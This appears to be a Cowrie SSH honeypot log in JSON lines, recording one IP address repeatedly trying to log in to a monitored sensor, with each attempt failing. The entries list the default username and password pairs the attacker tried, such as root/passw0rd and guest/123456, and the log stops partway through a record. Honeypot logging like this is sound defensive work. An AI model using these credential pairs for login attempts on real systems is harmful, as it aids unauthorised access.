{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:44.333145Z","src_ip":"47.86.95.62","session":"7e5556a77364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:46.334239Z","src_ip":"47.86.95.62","session":"7e5556a77364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:48.253113Z","src_ip":"47.86.95.62","session":"7e5556a77364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55952,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c8f7452f2be","protocol":"ssh","message":"New connection: 47.86.95.62:55952 (10.17.0.5:22) [session: 0c8f7452f2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:15.735999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:17.813961Z","src_ip":"47.86.95.62","session":"0c8f7452f2be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:17.822092Z","src_ip":"47.86.95.62","session":"0c8f7452f2be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:22.959837Z","src_ip":"47.86.95.62","session":"0c8f7452f2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:24.171648Z","src_ip":"47.86.95.62","session":"0c8f7452f2be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37706,"dst_ip":"10.17.0.5","dst_port":22,"session":"6119d3b5f16b","protocol":"ssh","message":"New connection: 47.86.95.62:37706 (10.17.0.5:22) [session: 6119d3b5f16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:26.675043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:26.679801Z","src_ip":"47.86.95.62","session":"6119d3b5f16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:26.891948Z","src_ip":"47.86.95.62","session":"6119d3b5f16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:27.791776Z","src_ip":"47.86.95.62","session":"6119d3b5f16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:29.006860Z","src_ip":"47.86.95.62","session":"6119d3b5f16b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37388,"dst_ip":"10.17.0.5","dst_port":22,"session":"440efd9aa09b","protocol":"ssh","message":"New connection: 47.86.95.62:37388 (10.17.0.5:22) [session: 440efd9aa09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:31.696576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:31.701964Z","src_ip":"47.86.95.62","session":"440efd9aa09b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:31.913943Z","src_ip":"47.86.95.62","session":"440efd9aa09b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:32.561496Z","src_ip":"47.86.95.62","session":"440efd9aa09b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:33.771816Z","src_ip":"47.86.95.62","session":"440efd9aa09b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37398,"dst_ip":"10.17.0.5","dst_port":22,"session":"eee3fa01842a","protocol":"ssh","message":"New connection: 47.86.95.62:37398 (10.17.0.5:22) [session: eee3fa01842a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:36.892078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:39.052327Z","src_ip":"47.86.95.62","session":"eee3fa01842a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:39.057520Z","src_ip":"47.86.95.62","session":"eee3fa01842a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:41.028675Z","src_ip":"47.86.95.62","session":"eee3fa01842a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:08:43.227982Z","src_ip":"47.86.95.62","session":"eee3fa01842a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53960,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c268e2d1161","protocol":"ssh","message":"New connection: 47.86.95.62:53960 (10.17.0.5:22) [session: 8c268e2d1161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:00.773134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:00.778024Z","src_ip":"47.86.95.62","session":"8c268e2d1161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:00.995111Z","src_ip":"47.86.95.62","session":"8c268e2d1161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:01.690393Z","src_ip":"47.86.95.62","session":"8c268e2d1161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:02.906084Z","src_ip":"47.86.95.62","session":"8c268e2d1161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55802,"dst_ip":"10.17.0.5","dst_port":22,"session":"015e077ea136","protocol":"ssh","message":"New connection: 47.86.95.62:55802 (10.17.0.5:22) [session: 015e077ea136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:05.511647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:05.526232Z","src_ip":"47.86.95.62","session":"015e077ea136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:05.735719Z","src_ip":"47.86.95.62","session":"015e077ea136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:06.460480Z","src_ip":"47.86.95.62","session":"015e077ea136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:07.668945Z","src_ip":"47.86.95.62","session":"015e077ea136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40306,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c604960722c","protocol":"ssh","message":"New connection: 47.86.95.62:40306 (10.17.0.5:22) [session: 1c604960722c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:11.079829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:11.089902Z","src_ip":"47.86.95.62","session":"1c604960722c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:11.312470Z","src_ip":"47.86.95.62","session":"1c604960722c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:13.611726Z","src_ip":"47.86.95.62","session":"1c604960722c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:21.933896Z","src_ip":"47.86.95.62","session":"1c604960722c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":57100,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f27917ce249","protocol":"ssh","message":"New connection: 47.86.95.62:57100 (10.17.0.5:22) [session: 6f27917ce249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:35.156827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:35.161774Z","src_ip":"47.86.95.62","session":"6f27917ce249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 